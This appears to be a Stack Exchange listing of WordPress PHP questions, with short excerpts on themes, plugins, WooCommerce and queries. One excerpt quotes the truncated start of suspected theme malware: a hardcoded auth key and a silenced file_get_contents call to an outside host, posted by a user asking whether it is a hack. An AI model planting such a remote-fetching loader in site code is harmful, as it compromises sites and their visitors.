Questions tagged [php]

For questions about the server-side programming language that the WordPress core, plugins and themes are written in. Questions about using PHP outside a WordPress context are off-topic but might be asked on Stack Overflow.

Filter by
Sorted by
Tagged with
5 votes
1 answer
225 views

Is having multiple theme customizers for different pages possible?

If you have a theme that for instance has a blog, front page and misc pages is it possible to have more than one theme customizer, so that you can provide a live preview when editing styles? My theme ...
user1632018's user avatar
5 votes
2 answers
8k views

Check if post of title already exists

I'm writing a plugin that takes an xml feed and posts it into WordPress using wp-cron Everything is working dandy, except it keeps adding the same posts over again. So, I'm working on a system to ...
rogy's user avatar
  • 153
5 votes
1 answer
7k views

How display widget by id

I fetched widget id this way: $the_sidebars = wp_get_sidebars_widgets(); print_r( $the_sidebars['sidebar-1'] ); It shows: Array ( [0] => recent-posts-2 [1] => recent-comments-2 [2] =&...
user avatar
5 votes
1 answer
855 views

category_name not working (not showing up in sql query debug)

My plugin has a shortcode and it retrieves animals. There are filters/arguments and they all work well except the category argument or parameter. The category name(s) is/are well passed to my ...
Lazhar's user avatar
  • 183
5 votes
3 answers
2k views

Find out what is using PHP sessions in WordPress

Is there a way to find out what is using PHP sessions or spawning PHP processes? My Wordpress site gets heavy traffic (3.5 million hits per month). We discovered recently that we had permissions set ...
mayabelle's user avatar
  • 151
5 votes
1 answer
2k views

WSOD but WP_DEBUG not giving any errors

I am running Wordpress on a WAMP stack and I'm trying to debug a WSOD error, which I think is a PHP error, as I have tried disabling all my plugins and themes and they don't seem to be the problem. I'...
Alistair67's user avatar
5 votes
3 answers
1k views

Making plugin unique to not conflict with plugins with the same name

I have plugin that has the same name as other plugin uploaded to wordpress.org How can i make it unique so it doesn't share "View Detais" link and auto-update with other plugin uploaded to wordpress....
Danil Solodunov's user avatar
5 votes
1 answer
594 views

Cropping, Re-sizing and Saving images from one folder to another folder in wordpress

I'm adding an upgrade for the WordPress plugin which I have developed ages ago. This plugin is just a product catalog, so just show products and their images. Products can have more than one images. ...
Omer's user avatar
  • 275
4 votes
7 answers
292 views

Plugin or mod for wordpress to make content publication SUPER easy

Well, im making a wordpress web page for my dad, a psychiatrist, who barely knows how to check his email. He wants to put content regulary but the actual admin interface of wordpress is way to complex ...
DomingoSL's user avatar
  • 141
4 votes
3 answers
25k views

How to automatically apply woocommerce product title to all product images alt tags?

Adding alt tag information to every product photo is a lot of work. We always just copy and paste our product title into the image alt tags. I figured since all the information is there; there must ...
Patrick's user avatar
  • 295
4 votes
3 answers
11k views

Receiving Stripe Webhooks on a wordpress website

I have a wordpress website hosted on GoDaddy. I am an advanced stripe user and have integrated stripe with many Ruby on Rails apps , along with stripe-webhook integration with the Rails. Also i am ...
Sahil Dhankhar's user avatar
4 votes
3 answers
13k views

How to export/import theme customizer settings?

I am wondering if it is possible to export theme customizer settings(theme_mods) to be imported into another install of the same theme. I know that the settings are saved into the database so I am ...
user1632018's user avatar
4 votes
4 answers
6k views

Sorting list of sites from multisite network using wp_get_sites

I have a loop that pulls in all sites in my multisite site network and loops through them to get variables located in their ACF options. Here is an excerpt from the code I am using: $stageurl = ...
Morgan's user avatar
  • 489
4 votes
5 answers
6k views

Remove Customize Background and Header from Appearance admin menu without CSS or JS

I am trying to remove background and header from appearance menu, but they don't seem to go away! I think it's because I have activated customize, but can I remove them anyway without using CSS or JS? ...
Fredrik's user avatar
  • 173
4 votes
2 answers
4k views

How to search display_name column when using WP_User_Query

I'm using WP_User_Query to bring back a list of users. According to this article, I can focus the query on particular columns (I'm assuming in the wp_users table) using the search_columns param. My ...
henrywright's user avatar
  • 3,037
4 votes
5 answers
28k views

if plugin is active? check if plugin is enabled or not?

I'm using the mingle plugin and the mingle-forum plugin. I want to show a certain part on my site only if those two plugins are active. How can I solve this? <?php if ( is_plugin_active('mingle-...
mathiregister's user avatar
4 votes
3 answers
49k views

if post id matches these id's then do this

I'm still a noob with php but I'm trying to display a different layout for my Wordpress webpage for a single post id. I thought it would have been simple but I've tried a quiet few variations of the ...
Erwin's user avatar
  • 41
4 votes
1 answer
23k views

Search that will look in custom field, post title and post content

I am looking for a way to perform a search, and while performing the search, it checks a custom field named 'keywords,' the post title, and the post content. If any of those fields have results like ...
Brandon's user avatar
  • 61
4 votes
2 answers
1k views

How to check if feed URL was requested?

I'm writing a plugin to block some pages to anonymous users on my site. I already blocked some pages but I can't get to identify the feed page my-wordpress-site.com/feed. I've tried: $GLOBALS['...
Rafael Carneiro de Moraes's user avatar
4 votes
1 answer
13k views

How to store the_title() into a variable to reutrn the value, not just echo it

I have a loop, and need to pass one more argument through it. I need to get the current page's single post title, and then use that as the value. I tried going about it like this: $tagz = the_title()...
Chris Haugen's user avatar
4 votes
4 answers
19k views

How to validate WordPress generated password in DB using PHP?

I am working with site that is done with WordPress, and I need to add some parts that are outside WP, and to check user login, Logging users outside WP. I tried with md5 of password but it's not... ...
SharkTheDark's user avatar
4 votes
4 answers
15k views

How to find out if option exists but is empty?

I am using something like this on one of my plugins: $myOption_def = "myOption Default Value"; $myOption = get_option( 'myOption' ) ? get_option( 'myOption' ) : $myOption_def; That works fine, but ...
user avatar
4 votes
1 answer
1k views

Does the debug.log do log rotation?

This is more like of an inquiry. So I enabled my WP_DEBUG_LOG to true. It does work though, debug.log is in my wp-content's directory. But does it also do log rotation like different file for each day?...
maryyyyyyy's user avatar
4 votes
5 answers
37k views

Remove Woocommerce product link

I'd like to remove the link from the Woocommerce product listings. I don't need the user to see the product detail pages, we are going to use Quick View instead. Anywho, I have been searching and ...
amandathewebdev's user avatar
4 votes
3 answers
81k views

Place page title in header?

Normally, in WordPress, the page title appears in the content area. I'd like to have the page title appear in the header area. It looks like to do that, I'd have to remove it from its current location ...
user781470's user avatar
4 votes
3 answers
11k views

Query WooCommerce orders grouped by several order statuses

As I can see from WooCommerce documentation, WC_Order_Query allows only one single order status to be passed as query parameter. Has anyone find some workaround to allow querying several order ...
Aleksandar Mitic's user avatar
4 votes
1 answer
17k views

Creating custom Woocommerce attribute taxonomies from a plugin

I've made a plugin to import products to Wordpress with Woocommerce. It works fine except the product attributes - I can't find a way to import them properly. The issue is that with products I add ...
Dmitry Gamolin's user avatar
4 votes
2 answers
3k views

How to preserve PHP modifications while upgrading WordPress?

I made a lot of custom modifications in the PHP code of my WordPress blog. Namely in: archive.php, blog.php, footer.php, functions.php, header.php, search.php To provide customized search results, ...
Konstantin's user avatar
4 votes
2 answers
2k views

Get php var inside javascript file (making plugin)

I was making a plugin and I have a javascript file where I want to take some options saved in the database to show well the function. So I have this: function wp_home(){ wp_enqueue_script( '...
Met El Idrissi's user avatar
4 votes
2 answers
10k views

the_author_meta() vs get_the_author_meta()

As far as I know, the_author_meta() automatically displays the data while get_the_author_meta() has to be echo-d, it can also be saved as variable and do something with it. Is there something else to ...
N00b's user avatar
  • 2,169
4 votes
1 answer
14k views

Insert plugin content before body end

How do I make plugin's content appear in a place I want? For example let's say I have a plugin that output's a paragraph: echo "<p>foo<p>" If I do this it will appear on a page outside ...
Borek's user avatar
  • 909
4 votes
1 answer
21k views

Displaying a WooCommerce product via PHP

Having a hard time composing a searchable query, so I apologize in advance if this has been covered. I know you can add WooCommerce products to a page or post via short code, but I have one section ...
user31779's user avatar
4 votes
2 answers
9k views

Shortcode to insert <!--nextpage-->

Since wordpress does not have a menu icon (aka "user friendly) way to add the command to a post or page, I'm trying to create a shortcode to do it. However, as logic would have it, its not that easy....
N2Mystic's user avatar
  • 3,183
4 votes
4 answers
3k views

Enable/disable post revisions programmatically

Is there a way to temporarily disable revisions.... I have noticed that wp_update_post is very slow and creates revisions I don't need. The fix could be to disable revisions before issuing ...
Riccardo's user avatar
  • 961
4 votes
5 answers
7k views

Is this a hacking script in function.php?

I have code like below in neve theme WordPress. I feel suspicious about this code $wp_auth_key='ac15616a33a4bae1388c29de0202c5e1'; if (($tmpcontent = @file_get_contents("http://www.darors.com/...
user avatar
4 votes
2 answers
9k views

Create a global variable for use in all templates

I used following code function userinfo_global() { global $users_info; wp_get_current_user(); } add_action( 'init', 'userinfo_global' ); in a file users.php , this file are call in inside ...
Juan David's user avatar
4 votes
4 answers
19k views

Only show div on homepage/blog index in wordpress/php

I have a wordpress site. I have a div that I only want to appear on the homepage (in the header). What type of php if statement do i need... In other words: only show .... in the header of the ...
js111's user avatar
  • 177
4 votes
4 answers
779 views

Is there a browser plugin or method to find which php template an item is coming from?

Is there a browser plugin or method to find which php template an item is coming from?
dreamgrowers's user avatar
4 votes
1 answer
12k views

Sanitize get_query_var() url parameters

I am currently working on a site and testing its security. One of the pages has a sort feature where I pass a url parameter on how I would like the content sorted. For example: www.example.com/page/?...
user2924127's user avatar
4 votes
1 answer
5k views

How can I hook into and edit the text of a wp_nav_menu <a> tag?

I'm trying to change the text displayed for the anchor tags in the wp_nav_menu li's. I actually managed to do this with jQuery, nothing fancy, because I am certainly no professional. You can see the ...
Ruke's user avatar
  • 57
4 votes
2 answers
818 views

How to remove hardcoded characters from playlists?

I'm working on a Wordpress theme for a website that makes heavy use of its default media player. In the process of styling its playlists, I found that a core file injects hardcoded characters that can'...
Gui Odai's user avatar
4 votes
3 answers
3k views

PHP function showing wrong time in WordPress

My local WordPress installation on XAMPP seems to have a wrong time setting. When I do date( 'Y-m-d H:i:s' ); I get 2017-02-21 10:46:43 as result. However my PCs time really is 2017-02-21 11:46:43, ...
MattWithAHat's user avatar
4 votes
1 answer
44k views

How To Make Connection To WordPress Data Base In A Plugin?

I am learning Plugins and I am trying to connect WordPress database wp-config.php in my Plugin PHP code. Currently for checking my code, I used the below connection and it is working fine. Now I ...
Muhammad Hassan's user avatar
4 votes
2 answers
11k views

Is it possible to disable a function of a parent theme?

I was wondering whether it is possible to completely disable a function that is called in a parent theme's functions.php and if so, how? (Of course without deleting the function. Rather by adding ...
Bram Vanroy's user avatar
4 votes
1 answer
9k views

How to add some custom HTML to the edit posts page

On the wordpress admin edit posts page, I want to display some custom content and script, underneath the meta box. I want to hand code this as the various plugins I could use (advanced custom fields ...
jammypeach's user avatar
4 votes
1 answer
2k views

Variables declared in header not available in other includes

I have a var set in my header.php file: $myBool = false; and in page.php, I try to echo it: echo $myBool; But the variable is never set. This doesn't help either: global $myBool; echo $myBool; ...
jammypeach's user avatar
4 votes
1 answer
6k views

Add extra field to users

I have this code that adds the check box to the 'Edit User' page but when i check it, and refresh the page, the box becomes unchecked... what is wrong? add_action( 'show_user_profile', '...
cnotethegr8's user avatar
4 votes
3 answers
2k views

Add Useragent to the body class?

I'm looking for a way to add body class depending on the User Agent of the client with php. I'm looking to implement it this way: page.php: <body id="front" <?php ( function_exists ( '...
chrisjlee's user avatar
  • 1,197
4 votes
2 answers
9k views

What exactly does "Posts page" do in WordPress?

Hay, I'm making a WordPress template, and i have 4 main pages. HOME BLOG CONTACT ABOUT US As you can see "Blog" is a page (i need it to display when i call wp_list_pages()), but how do i edit this ...
dotty's user avatar
  • 585
4 votes
1 answer
7k views

How do I make my function add variables/values to the $post object?

How do I add $tzDesc and $tzEmbed (and other variables) to the $post object in the following function so that I can display the values in my theme files by inserting <?php echo $tzDesc; ?>? ...
matt's user avatar
  • 1,652

1
5 6
7
8 9
211